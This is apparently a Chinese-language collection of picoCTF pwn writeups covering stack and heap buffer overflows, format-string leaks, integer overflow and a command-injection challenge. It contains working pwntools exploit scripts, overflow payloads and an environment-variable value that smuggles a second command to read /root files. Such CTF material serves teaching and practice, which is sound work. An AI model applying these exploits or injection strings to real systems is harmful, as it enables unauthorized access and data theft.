All-in-One PicoCTF Writeups: Pwn (Binary Exploitation)

前言

其實好像也沒什麼好講前言的,但就是不想要一開始就是題目分類,所以還是放了個前言 XD。

自己在刷 PicoCTF 的時候常常發現,幾乎所有的 writeup 都是英文的居多,所以想說來寫個完整一點的中文版!總之呢這裡就是會盡量彙整所有的 picoCTF 的題目在這邊(但是因為已經寫了 60 題左右才開始打算來寫 writeup,所以可能前面的部分會等其他都寫完再來補),如果有需要就可以直接來這邊看所有的 writeup,就這樣啦!希望能幫忙到你。

Local Target

這題給了一個可執行的檔案和 C 語言的代碼,先來分析一下他的代碼吧。

#include <stdio.h>
#include <stdlib.h>

int main()
{
  FILE *fptr;
  char c;

  char input[16];
  int num = 64;

  printf("Enter a string: ");
  fflush(stdout);
  gets(input);
  printf("\n");

  printf("num is %d\n", num);
  fflush(stdout);

  if (num == 65)
  {
    printf("You win!\n");
    fflush(stdout);
    // Open file
    fptr = fopen("flag.txt", "r");
    if (fptr == NULL)
    {
      printf("Cannot open file.\n");
      fflush(stdout);
      exit(0);
    }

    // Read contents from file
    c = fgetc(fptr);
    while (c != EOF)
    {
      printf("%c", c);
      c = fgetc(fptr);
    }
    fflush(stdout);

    printf("\n");
    fflush(stdout);
    fclose(fptr);
    exit(0);
  }

  printf("Bye!\n");
  fflush(stdout);
}

當使用 Netcat 連線到題目的時候,會如同下面一般。

題目

分析代碼

  1. char input[16];宣告了一個長度為 16 的字元陣列,儲存使用者輸入。
  2. gets(input);獲取使用者輸入,由於 gets函數不檢查輸入的長度,使用者可以輸入超過 16 個字元。(危险函数 gets()几种完美的替代方法 你可能还不知道的
  3. int num = 64;宣告並初始化變數 num
  4. 拿到 flag 的條件是要讓 num 的值為 65。

這邊我們可以用 man gets指令進入 gets 的 man 手冊頁,看一下他的 bug 區塊,了解 gets 到底危險在哪裡。

Bug of gets function

BOF 攻擊

首先,先檢查一下他有沒有任何保護機制。

Checksec from pwntools

他沒有 Canary 也沒有 PIE,就正常做 BOF 就可以了。

因為 inputnum都是區域變數,所以會存在 Stack 中。並且因為是先宣告 input緊接著宣告 num,所以在 Stack 中會像下面這樣:

High Address
|
|---------------------|
|  Return Address     | <-- top
|---------------------|
|  Frame Pointer      |
|---------------------|
|  int num            | <-- 4 Bytes
|---------------------|
|  char input[16]     | <-- 16 Bytes
|---------------------|
|
Low Address

最後試出來的 Payload 是 24 個字元加上一個大寫的 A(因為 ord(A) == 65),但是在這裡我有點不理解為甚麼前面是 24 個填充,猜測是 input[16]num中間有 Padding 之類的東西。如果有人知道的話再麻煩跟我解釋一下,感謝了!總之,還是拿到 Flag 啦。

Flag

picoCTF{l0c4l5_1n_5c0p3_fee8ef05}

VNE

這題先 SSH 連上去後發現題目有說給了一個叫做bin 的 binary 來執行 ls 命令。題目是這樣說的。

We’ve got a binary that can list directories as root, try it out !!

但當我們嘗試執行後會發現他說提示 Error: SECRET_DIR environment variable is not set,所以我們知道要去設置環境變數,原來這題目的名字 VNE 就是 ENV 的倒過來。

那先嘗試將他設置為提示說的 /root 目錄試試看。

export SECRET_DIR=/root
ctf-player@pico-chall$ ./bin 
Listing the content of /root as root: 
flag.txt

發現下面有個 flag.txt,那我們要如何讀取到他呢?到這邊我們大概可以猜測,這題其實是一個 Command Injection 題。我猜測他背後的程式邏輯就是去執行類似於 ls $SECRET_DIR 之類的東西,所以把環境變數改為如下。

export SECRET_DIR="/root&cat /root/*"

改完後再去執行 ./bin 就出來了!

picoCTF{Power_t0_man!pul4t3_3nv_d0cc7fe2}

buffer overflow 0

這題也是給了可執行文件和源代碼,先下載下來看看。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig)
{
  printf("%s\n", flag);  // 這裡會print出flag
  fflush(stdout);
  exit(1);
}

void vuln(char *input)
{
  char buf2[16];  // 這裡是關鍵。函數的名稱vuln代表著vulnerability
  strcpy(buf2, input);
}

int main(int argc, char **argv)
{

  FILE *f = fopen("flag.txt", "r");
  if (f == NULL)
  {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
           "own debugging flag.\n");
    exit(0);
  }

  fgets(flag, FLAGSIZE_MAX, f);
  signal(SIGSEGV, sigsegv_handler); // Set up signal handler 當運行時出現Signal: SIGSEGV (Segmentation fault)時會調用sigsegv_handler函數

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  printf("Input: ");
  fflush(stdout);
  char buf1[100];
  gets(buf1);
  vuln(buf1);
  printf("The program will exit now\n");
  return 0;
}

分析代碼

  1. Winning condition 是要觸發 Segmentation fault。
  2. vuln函式裡面的 buf2宣告為 16 個字元的大小,也就是 16 個 Bytes。
  3. gets輸入的內容超過 16 個 Bytes 的時候,觸發錯誤。

這邊我們可以再來看一下除了 gets以外的危險函式,也就是 strcpy。(Buffer Overflow example - strcpy

man 手冊裡面也寫了,程式設計師要負起責任,指派一個足夠大的空間給 strcpy 的 dst(Destination)。

Manual page for strcpy

BOF 攻擊

所以我們知道,在這裡只要輸入很長的字串,就會造成 strcpy出錯,並得到 flag,那就來試試看吧!

Flag

picoCTF{ov3rfl0ws_ar3nt_that_bad_9f2364bc}

buffer overflow 1

老樣子,一個 ELF 檔案,一個源碼。先看一下代碼。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win()
{
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL)
  {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
           "own debugging flag.\n");
    exit(0);
  }

  fgets(buf, FLAGSIZE, f);
  printf(buf);
}

void vuln()
{
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

看起來是個 ret2win 的題目,那就直接開始吧。先用 gdb 找一下 offset。

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/kali/picoCTF/vuln.1
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Okay, time to return... Fingers Crossed... Jumping to 0x6161616c

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────
*EAX  0x41
*EBX  0x6161616a ('jaaa')
 ECX  0x0
 EDX  0x0
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0x8049350 (__libc_csu_init) ◂— endbr32
*EBP  0x6161616b ('kaaa')
*ESP  0xffffcfb0 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
*EIP  0x6161616c ('laaa')
───────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────
Invalid address 0x6161616c










────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffcfb0 ◂— 'maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│     0xffffcfb4 ◂— 'naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│     0xffffcfb8 ◂— 'oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│     0xffffcfbc ◂— 'paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│     0xffffcfc0 ◂— 'qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│     0xffffcfc4 ◂— 'raaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│     0xffffcfc8 ◂— 'saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│     0xffffcfcc ◂— 'taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
──────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────
 ► 0 0x6161616c
   1 0x6161616d
   2 0x6161616e
   3 0x6161616f
   4 0x61616170
   5 0x61616171
   6 0x61616172
   7 0x61616173
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l laaa
Finding cyclic pattern of 4 bytes: b'laaa' (hex: 0x6c616161)
Found at offset 44

找到他的 offset 為 44 後再看一下 win()的地址。

pwndbg> disass win
Dump of assembler code for function win:
   0x080491f6 <+0>:     endbr32
   0x080491fa <+4>:     push   ebp
   0x080491fb <+5>:     mov    ebp,esp
   0x080491fd <+7>:     push   ebx
   0x080491fe <+8>:     sub    esp,0x54
   0x08049201 <+11>:    call   0x8049130 <__x86.get_pc_thunk.bx>
   0x08049206 <+16>:    add    ebx,0x2dfa
   0x0804920c <+22>:    sub    esp,0x8
   0x0804920f <+25>:    lea    eax,[ebx-0x1ff8]
   0x08049215 <+31>:    push   eax
   0x08049216 <+32>:    lea    eax,[ebx-0x1ff6]
   0x0804921c <+38>:    push   eax
   0x0804921d <+39>:    call   0x80490c0 <fopen@plt>
   0x08049222 <+44>:    add    esp,0x10
   0x08049225 <+47>:    mov    DWORD PTR [ebp-0xc],eax
   0x08049228 <+50>:    cmp    DWORD PTR [ebp-0xc],0x0
   0x0804922c <+54>:    jne    0x8049258 <win+98>
   0x0804922e <+56>:    sub    esp,0x4
   0x08049231 <+59>:    lea    eax,[ebx-0x1fed]
   0x08049237 <+65>:    push   eax
   0x08049238 <+66>:    lea    eax,[ebx-0x1fd8]
   0x0804923e <+72>:    push   eax
   0x0804923f <+73>:    lea    eax,[ebx-0x1fa3]
   0x08049245 <+79>:    push   eax
   0x08049246 <+80>:    call   0x8049040 <printf@plt>
   0x0804924b <+85>:    add    esp,0x10
   0x0804924e <+88>:    sub    esp,0xc
   0x08049251 <+91>:    push   0x0
   0x08049253 <+93>:    call   0x8049090 <exit@plt>
   0x08049258 <+98>:    sub    esp,0x4
   0x0804925b <+101>:   push   DWORD PTR [ebp-0xc]
   0x0804925e <+104>:   push   0x40
   0x08049260 <+106>:   lea    eax,[ebp-0x4c]
   0x08049263 <+109>:   push   eax
   0x08049264 <+110>:   call   0x8049060 <fgets@plt>
   0x08049269 <+115>:   add    esp,0x10
   0x0804926c <+118>:   sub    esp,0xc
   0x0804926f <+121>:   lea    eax,[ebp-0x4c]
   0x08049272 <+124>:   push   eax
   0x08049273 <+125>:   call   0x8049040 <printf@plt>
   0x08049278 <+130>:   add    esp,0x10
   0x0804927b <+133>:   nop
   0x0804927c <+134>:   mov    ebx,DWORD PTR [ebp-0x4]
   0x0804927f <+137>:   leave
   0x08049280 <+138>:   ret
End of assembler dump.

找到了它的地址是 0x080491f6。那就開始構造 Exploit 吧。

from pwn import *

r = remote("saturn.picoctf.net", 64447)

payload = b""
offset = 44
win_addr = 0x080491F6

payload += b"A" * offset
payload += p32(win_addr)
r.sendline(payload)
r.interactive()
picoCTF{addr3ss3s_ar3_3asy_6462ca2d}

buffer overflow 2

和前兩題一樣,先看看代碼。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2)
{
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt", "r");
  if (f == NULL)
  {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
           "own debugging flag.\n");
    exit(0);
  }

  fgets(buf, FLAGSIZE, f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln()
{
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv)
{

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

這次和前面那題差不多,也是個 ret2win,但是它多了一個檢查條件,要判斷 arg1 和 arg2 的值是否為 0xCAFEF00D 和 0xF00DF00D,所以在構造 ROP Chain 的時候要記得把這兩個的值串接上去。接下來就開始編寫 Exploit 吧。

from pwn import *

r = remote("saturn.picoctf.net", 56229)

payload = b""
offset = 112
win_addr = 0x08049296
arg1 = 0xCAFEF00D
arg2 = 0xF00DF00D

# p32(win_addr) is the return address for vuln() function
# p32(0) is the return address for win() function to make the program execute normally
payload += b"A" * offset + p32(win_addr) + p32(0) + p32(arg1) + p32(arg2)
r.sendline(payload)
r.interactive()

至於為甚麼中間要多加一個 p32(0),我直接寫在註解中了。

picoCTF{argum3nt5_4_d4yZ_3c04eab0}

two-sum

先看題目的代碼。

#include <stdio.h>
#include <stdlib.h>

static int addIntOvf(int result, int a, int b) {
    result = a + b;
    if(a > 0 && b > 0 && result < 0)
        return -1;
    if(a < 0 && b < 0 && result > 0)
        return -1;
    return 0;
}

int main() {
    int num1, num2, sum;
    FILE *flag;
    char c;

    printf("n1 > n1 + n2 OR n2 > n1 + n2 \n");
    fflush(stdout);
    printf("What two positive numbers can make this possible: \n");
    fflush(stdout);

    if (scanf("%d", &num1) && scanf("%d", &num2)) {
        printf("You entered %d and %d\n", num1, num2);
        fflush(stdout);
        sum = num1 + num2;
        if (addIntOvf(sum, num1, num2) == 0) {
            printf("No overflow\n");
            fflush(stdout);
            exit(0);
        } else if (addIntOvf(sum, num1, num2) == -1) {
            printf("You have an integer overflow\n");
            fflush(stdout);
        }

        if (num1 > 0 || num2 > 0) {
            flag = fopen("flag.txt","r");
            if(flag == NULL){
                printf("flag not found: please run this on the server\n");
                fflush(stdout);
                exit(0);
            }
            char buf[60];
            fgets(buf, 59, flag);
            printf("YOUR FLAG IS: %s\n", buf);
            fflush(stdout);
            exit(0);
        }
    }
    return 0;
}

簡單來說就是要輸入兩個數字讓他相加後會 overflow。我們知道一個 Integer 的上限是23112^{31}-1,也就是 2147483647,所以讓這個數字再加上 1 就會 overflow,利用這個原理,我們直接用 Netcat 連接到題目,輸入 2147483647 和 1,獲得 Flag。

picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_bc0adfd1}

format string 0

先連接到題目,然後看一下題目長怎樣。

┌──(kali㉿kali)-[~]
└─$ nc mimas.picoctf.net 57925

Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation:

我在測試題目漏洞的時候輸入了一堆 j,結果就直接得到 flag 了 XD。

Pwned

picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_c8362f05}

format string 1

來看看題目的 source code。

#include <stdio.h>


int main() {
  char buf[1024];
  char secret1[64];
  char flag[64];
  char secret2[64];

  // Read in first secret menu item
  FILE *fd = fopen("secret-menu-item-1.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-1.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret1, 64, fd);
  // Read in the flag
  fd = fopen("flag.txt", "r");
  if (fd == NULL){
    printf("'flag.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(flag, 64, fd);
  // Read in second secret menu item
  fd = fopen("secret-menu-item-2.txt", "r");
  if (fd == NULL){
    printf("'secret-menu-item-2.txt' file not found, aborting.\n");
    return 1;
  }
  fgets(secret2, 64, fd);

  printf("Give me your order and I'll read it back to you:\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your order: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  printf("Bye!\n");
  fflush(stdout);

  return 0;
}

可以明顯地看到在第 36 行那邊的printf(buf)是沒有加上格式化字符的,所以這邊有一個很明顯的 format string vulnerability。我們用 netcat 連接題目看看。

nc mimas.picoctf.net 53267

連上題目後發現他說 Give me your order and I’ll read it back to you,所以我們嘗試輸入%p後發現他會輸出一個十六進位的東西。以下是題目的輸出。

Here's your order: 0x402118
Bye!

這看起來可以把它轉回字串,並且如果多輸入幾個%p應該就能把 Flag 給 Leak 出來。我寫了一個 Exploit,去嘗試獲取 Flag。在腳本中之所以要把每一段十六進位轉回的字串前後翻轉,是因為題目剛剛有說"I’ll read it back to you",所以推測他應該是反著過來輸出的。Exploit 如下:

from pwn import *
from Crypto.Util.number import long_to_bytes

r = remote("mimas.picoctf.net", 53267)

payload = ",".join(["%p"] * 20)
print(payload)
r.sendline(payload)
r.recvuntil(b"Here's your order: ")
res = r.recvuntil(b"Bye!").decode().removesuffix("Bye!").split(",")

flag = ""
for i in res:
    try:
        flag += long_to_bytes(int(i, 16)).decode()[::-1]
    except ValueError:
        pass

print(flag)

果然,執行後就可以看到 Flag 啦。

picoCTF{4n1m41_57y13_4x4_f14g_e11e8018}

heap 0

先把題目給的 source code 下載下來看看。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (strcmp(safe_var, "bico") != 0) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap0!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	int rval = scanf("%d", &choice);
	if (rval == EOF){
	    exit(0);
	}
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
	    exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

發現他就是要想辦法去蓋掉一個叫做safe_var的變數,所以我們先連接到題目看看吧。

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data
+-------------+----------------+
[*]   0x5d57314662b0  ->   pico
+-------------+----------------+
[*]   0x5d57314662d0  ->   bico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice:

連接到題目後,我們可以看見input_datasafe_var中間隔了 0x20 個 bytes(0x5d57314662d0 - 0x5d57314662b0),也就是十進位中的 32。這代表我們要寫入 33 個 bytes 到input_data裡面,因為很簡單,就也不寫 Exploit 了直接手動輸入吧。

首先輸入 2,然後輸入 33 個字元。然後輸入完後再輸入 1 把 Heap 打印出來看看,就可以看到原本 bico 的地方被覆蓋掉了。覆蓋掉後再選 4 把 Flag 打印出來就好啦!

picoCTF{my_first_heap_overflow_1ad0e1a6}

heap 1

先看題目給的代碼。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

void print_menu() {
    printf("\n1. Print Heap:\t\t(print the current state of the heap)"
           "\n2. Write to buffer:\t(write to your own personal block of data "
           "on the heap)"
           "\n3. Print safe_var:\t(I'll even let you look at my variable on "
           "the heap, "
           "I'm confident it can't be modified)"
           "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
           "\n5. Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {
    printf("\nWelcome to heap1!\n");
    printf(
        "I put my data on the heap so it should be safe from any tampering.\n");
    printf("Since my data isn't on the stack I'll even let you write whatever "
           "info you want to the heap, I already took care of using malloc for "
           "you.\n\n");
    fflush(stdout);
    input_data = malloc(INPUT_DATA_SIZE);
    strncpy(input_data, "pico", INPUT_DATA_SIZE);
    safe_var = malloc(SAFE_VAR_SIZE);
    strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("Heap State:\n");
    printf("+-------------+----------------+\n");
    printf("[*] Address   ->   Heap Data   \n");
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+----------------+\n");
    printf("[*]   %p  ->   %s\n", safe_var, safe_var);
    printf("+-------------+----------------+\n");
    fflush(stdout);
}

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

要贏的條件是讓safe_var等於"pico"(因為strcmp相等的話回傳 0),所以和上一題基本上一樣,只要把輸入 32 個 bytes 後的東西換成 pico 就可以了。Payload 如下:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico

這樣就得到 Flag 啦。

picoCTF{starting_to_get_the_hang_21306688}